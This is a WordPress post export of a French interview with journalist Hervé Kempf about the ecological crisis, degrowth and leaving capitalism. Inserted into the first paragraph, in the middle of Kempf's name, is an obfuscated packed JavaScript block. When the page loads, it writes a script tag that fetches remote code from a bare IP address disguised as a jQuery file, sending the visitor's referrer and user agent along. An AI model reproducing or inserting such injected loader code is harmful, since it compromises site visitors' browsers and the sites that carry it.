{"id":1852,"date":"2009-03-17T21:24:03","date_gmt":"2009-03-17T21:24:03","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=1852"},"modified":"2009-03-17T21:24:03","modified_gmt":"2009-03-17T21:24:03","slug":"kempf-la-sortie-du-capitalisme-devra-etre-negociee-dans-les-quinze-ans-a-venir","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=1852","title":{"rendered":"Kempf : &quot;La sortie du capitalisme devra \u00eatre n\u00e9goci\u00e9e dans les quinze ans \u00e0 venir&quot;"},"content":{"rendered":"<p style=\"text-align: left;\"><a href=\"http:\/\/www.partipourladecroissance.net\" target=\"_blank\"><em><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-24\" style=\"margin: 5px;\" title=\"logo-ppld\" src=\"..\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"logo-ppld\" width=\"118\" height=\"68\" \/><\/strong><\/em><\/a><em><strong>Herv\u00e9 <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kafyy|var|u0026u|referrer|dzykh||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Kempf, journaliste au \u00abMonde\u00bb, estime que le syst\u00e8me capitaliste s&rsquo;effondre. Il plaide pour un changement radical de nos modes de vie et de production.<\/strong><br \/>\nJournaliste sp\u00e9cialis\u00e9 dans les questions \u00e9cologiques au Monde, Herv\u00e9 Kempf poursuit dans Pour sauver la plan\u00e8te, sortez du capitalisme une r\u00e9flexion entam\u00e9e dans Comment les riches d\u00e9truisent la plan\u00e8te1. Il est intervenu \u00e0 la Maison des associations de Gen\u00e8ve il y a une semaine, \u00e0 l&rsquo;invitation de Solidarit\u00e9s, du R\u00e9seau des objecteurs de croissance et du R\u00e9seau climat et justice sociale. A partir d&rsquo;une r\u00e9flexion sur la crise \u00e9cologique et financi\u00e8re, Herv\u00e9 Kempf construit un plaidoyer concluant pour une n\u00e9cessaire et in\u00e9luctable sortie du capitalisme.<\/em><em><a href=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2009\/03\/kempf-le_courrier-16_mars.pdf\"><\/a><\/em><\/p>\n<p style=\"text-align: left;\"><em><a href=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2009\/03\/kempf-le_courrier-16_mars.pdf\">lire la version pdf<\/a> ou la version en ligne ci-dessous<!--more--><strong>Interview : <\/strong><\/em><strong>Dans votre ouvrage, vous \u00e9voquez une crise \u00e9cologique qui porte sur trois dimensions: le climat, la perte en mati\u00e8re de biodiversit\u00e9 et la contamination chimique. En m\u00eame temps, la premi\u00e8re dimension semble occuper le devant le sc\u00e8ne m\u00e9diatique. Pourquoi?<\/strong><\/p>\n<p style=\"text-align: left;\"><em>Herv\u00e9 Kempf<\/em>: le changement climatique est effectivement mieux connu. Peut-\u00eatre parce que les scientifiques comp\u00e9tents dans ce domaine ont su regrouper leurs connaissances au sein du GIEC (Groupe d&rsquo;experts intergouvernemental sur l&rsquo;\u00e9volution du climat). Mais je ne dissocie pas ce ph\u00e9nom\u00e8ne des deux autres dimensions. Le probl\u00e8me est bien global. La crise de la biodiversit\u00e9 \u2013 on parle de la sixi\u00e8me grande extinction des esp\u00e8ces \u2013 est tout aussi pr\u00e9occupante et dramatique. Elle est peut-\u00eatre moins bien comprise par le grand public pour trois raisons. Il est plus facile de vulgariser \u2013 au bon sens du terme \u2013 les probl\u00e8mes climatiques, alors que la notion d&rsquo;\u00e9cosyst\u00e8me reste tr\u00e8s complexe. Et il est vrai que dans le domaine de la biologie, c&rsquo;est plut\u00f4t le domaine de la g\u00e9n\u00e9tique qui a pris le devant sur les naturalistes. Enfin, il y a une dimension r\u00e9gionale aux extinctions d&rsquo;esp\u00e8ces qui fait que l&rsquo;on a de la peine \u00e0 se mobiliser lorsqu&rsquo;un animal est menac\u00e9 \u00e0 des milliers de kilom\u00e8tre de chez soi.<\/p>\n<p><strong>Comment vous situez-vous par rapport aux r\u00e9ponses consistant \u00e0 promouvoir le nucl\u00e9aire ou la fili\u00e8re hydrog\u00e8ne comme r\u00e9ponse \u00e0 l&rsquo;effet de serre?<\/strong><br \/>\nC&rsquo;est un leurre, une mani\u00e8re d&rsquo;\u00e9viter la vraie question qui est celle d&rsquo;une n\u00e9cessaire sortie du capitalisme. La fili\u00e8re hydrog\u00e8ne n&rsquo;est qu&rsquo;un repl\u00e2trage pour tenter de sauver la fili\u00e8re actuel du p\u00e9trole. Techniquement, je n&rsquo;ai rien contre elle, elle m\u00e9rite qu&rsquo;on l&rsquo;explore et peut avoir sa rationalit\u00e9. Je ne suis pas anti-science, elle m&rsquo;int\u00e9resse. Mais il est trompeur de la pr\u00e9senter comme voie de sortie \u00e0 l&rsquo;impasse climatique. De plus, toutes ces r\u00e9ponses techniques sont souvent \u00e0 long terme, on nous les vend comme pouvant \u00eatre une solution dans quarante ans. Mais nous sommes dans l&rsquo;urgence. Dans les quinze ann\u00e9es qui viennent, nous devrons fondamentalement changer notre rapport \u00e0 l&rsquo;environnement si nous voulons nous en sortir.<br \/>\nEt cela suppose une baisse de notre consommation \u00e9nerg\u00e9tique et de biens mat\u00e9riels.<\/p>\n<p><strong>On voit une forte capacit\u00e9 du syst\u00e8me capitaliste \u00e0 int\u00e9grer la question environnementale, de tenter de lui apporter une r\u00e9ponse avec des instruments de march\u00e9. On voit m\u00eame appara\u00eetre des fonds de placement qui se disent verts et qui sp\u00e9culent sur l&rsquo;eau.<\/strong><br \/>\nIl y a un petit test qui permet de se faire imm\u00e9diatement une id\u00e9e. A tous ces acteurs du capitalisme \u00e9cologique, il suffit de demander s&rsquo;ils sont pr\u00eats \u00e0 assumer une diminution de la consommation d&rsquo;\u00e9nergie de 3% par an et une diminution similaire dans le domaine des achats de biens mat\u00e9riels. Il s&rsquo;agit en effet des objectifs que nous devons imp\u00e9rativement atteindre si nous volons stabiliser le taux de CO2 \u00e0 l&rsquo;horizon 2050. On remarque que d\u00e8s que la question est pos\u00e9e dans ces termes, on n&rsquo;entend plus ces acteurs, ils ne sont tout simplement pas pr\u00eats \u00e0 une remise en cause aussi fondamental de nos rapports sociaux.<\/p>\n<p><strong>Vous \u00eates parfois critique par rapport aux partis. Ne s&rsquo;agit-il pas d&rsquo;une posture commode?<\/strong><br \/>\nIl s&rsquo;agit uniquement d&rsquo;une critique par rapport \u00e0 la vision productiviste de la gauche. Elle avait sa l\u00e9gitimit\u00e9 au XIXe si\u00e8cle. Mais elle n&rsquo;est tout simplement plus possible aujourd&rsquo;hui. La question \u00e9cologique n&rsquo;est pas encore int\u00e9gr\u00e9e par les partis socialistes europ\u00e9ens qui sont dominants \u00e0 gauche, voire ni m\u00eame ni par les formations plus radicales. En revanche, je suis convaincu qu&rsquo;il faut une r\u00e9ponse de gauche \u00e0 la crise \u00e9cologique. La question sociale est tout \u00e0 fait centrale dans la situation actuelle. Les r\u00e9ponses doivent \u00eatre donn\u00e9es dans un cadre de justice sociale qui n&rsquo;est pas assez pr\u00e9sent y compris dans ces partis pourtant soi-disant socialistes. Elle doit revenir au premier rang des pr\u00e9occupation.<\/p>\n<p><strong>Vous ne revendiquez pas le concept de d\u00e9croissance.<\/strong><br \/>\nJe n&rsquo;ai pas de probl\u00e8mes id\u00e9ologiques avec le concept. Disons plut\u00f4t que je ne le brandis pas pour des raisons p\u00e9dagogiques. Si vous venez devant une assembl\u00e9e en disant \u00abvive la d\u00e9croissance\u00bb, vous braquez les gens ou alors vous entrez vite dans une querelle de chapelles. Je pr\u00e9f\u00e8re poser la question en termes de r\u00e9duction de la consommation \u00e9nerg\u00e9tique et de biens mat\u00e9riels. Lorsqu&rsquo;on pose cette question en termes globaux, elle devient plus facilement acceptable par les gens concern\u00e9s. Et le cadre ce mode de vie plus simple doit inclure la question sociale. Lorsqu&rsquo;on vit avec moins de biens, on doit r\u00e9orienter les choix de production de notre soci\u00e9t\u00e9 vers l&rsquo;\u00e9ducation, la sant\u00e9, la culture, l&rsquo;agriculture contractuelle et de proximit\u00e9 qui doit redevenir centrale dans notre rapport \u00e0 l&rsquo;\u00e9cosyst\u00e8me. Il devient alors plus facile de discuter.<\/p>\n<p><strong>Dans votre ouvrage ou dans vos conf\u00e9rences, on vous sent presque optimiste quant \u00e0 la possibilit\u00e9 de sortir de l&rsquo;impasse capitaliste. En m\u00eame temps, ces derni\u00e8res ann\u00e9es, il y a eu plusieurs crises \u00e9conomiques et l&rsquo;on nous annon\u00e7ait la fin d&rsquo;un cycle; or quelques mois plus tard, tout repartait. Qu&rsquo;est-ce qui aurait chang\u00e9?<\/strong><br \/>\nNous sommes bien \u00e0 un changement d&rsquo;\u00e9poque. Le syst\u00e8me est en train de se recomposer. La crise \u00e9cologique est globale et bien plus massive aujourd&rsquo;hui. Et surtout, les esprit \u00e9voluent. Cela fait, en tous les cas depuis la fin des ann\u00e9es soixante, que la crise de l&rsquo;environnement est th\u00e9oris\u00e9e. Aujourd&rsquo;hui, ce diagnostic est bien mieux compris, y compris du grand public. Et, sur le plan \u00e9conomique, l&rsquo;ampleur de l&rsquo;effondrement financier auquel nous assistons est sans commune mesure avec les crashes de ces vingt ou trente derni\u00e8res ann\u00e9es. L&rsquo;\u00e9conomie des Etats-Unis est durablement atteinte. Et ni la Chine ni l&rsquo;Inde ne retrouveront des taux de croissance aussi importants que ceux des derni\u00e8res ann\u00e9es. C&rsquo;est une illusion d&rsquo;esp\u00e9rer qu&rsquo;ils vont participer au red\u00e9marrage du syst\u00e8me capitaliste.<\/p>\n<p><strong>En m\u00eame temps vous pointez aussi le risque d&rsquo;une d\u00e9rive autoritaire. La soci\u00e9t\u00e9 \u00e9cologique ne s&rsquo;imposera-t-elle pas d&rsquo;elle-m\u00eame?<\/strong><br \/>\nLe capitalisme a compris qu&rsquo;il peut se passer de la d\u00e9mocratie. Ce qui n&rsquo;\u00e9tait pas le cas auparavant. Le tournant est sans doute la chute de l&rsquo;URSS. Jusque-l\u00e0, d\u00e9mocratie et libert\u00e9s \u00e9conomiques allaient de paires. Cela n&rsquo;est plus aussi \u00e9vident. Cela se voit aux Etats-Unis qui ont utilis\u00e9 l&rsquo;argument de la lutte contre le terrorisme pour faire reculer les libert\u00e9s d\u00e9mocratiques et mener des guerres. Mais en France, on assiste \u00e0 des d\u00e9rives similaires. N&rsquo;oublions pas que le pr\u00e9sident Sarkozy a \u00e9t\u00e9 un ministre de l&rsquo;Int\u00e9rieur tr\u00e8s actif en la mati\u00e8re. Des dirigeants comme Silvio Berlusconi ou Vladimir Poutine incarnent aussi ces d\u00e9rives autoritaires.<br \/>\nIl s&rsquo;agit d&rsquo;une \u00e9volution fondamentale de l&rsquo;oligarchie que de s&rsquo;affranchir des valeurs d\u00e9mocratiques. Elle a tellement gagn\u00e9 en confiance en elle-m\u00eame qu&rsquo;elle ne se sent plus le besoin de se r\u00e9clamer de ces libert\u00e9s.<\/p>\n<p><strong>Lutter contre la vid\u00e9osurveillance ou le fichage ADN est donc aussi un combat pour l&rsquo;\u00e9cologie?<\/strong><br \/>\nTout \u00e0 fait. Cela va \u00eatre un des d\u00e9fis qui se posent au mouvement social. Il devra organiser des luttes pour rompre avec la logique capitaliste mais aussi \u00e9viter les pi\u00e8ges que lui tendra une oligarchie cherchant \u00e0 l\u00e9gitimer sa domination via un contr\u00f4le autoritaire.<\/p>\n<p style=\"text-align: left;\"><em>Note : Les deux ouvrages sont disponibles aux Editons du Seuil. <\/em><\/p>\n<p style=\"text-align: left;\"><em><a href=\"http:\/\/www.lecourrier.ch\/index.php?name=News&amp;file=article&amp;sid=441833\">Source : propos recueillis par Philliphe Bach et publi\u00e9 de 15 mars sur Le Courrier <\/a><\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Herv\u00e9 Kempf, journaliste au \u00abMonde\u00bb, estime que le syst\u00e8me capitaliste s&rsquo;effondre. Il plaide pour un changement radical de nos modes de vie et de production. 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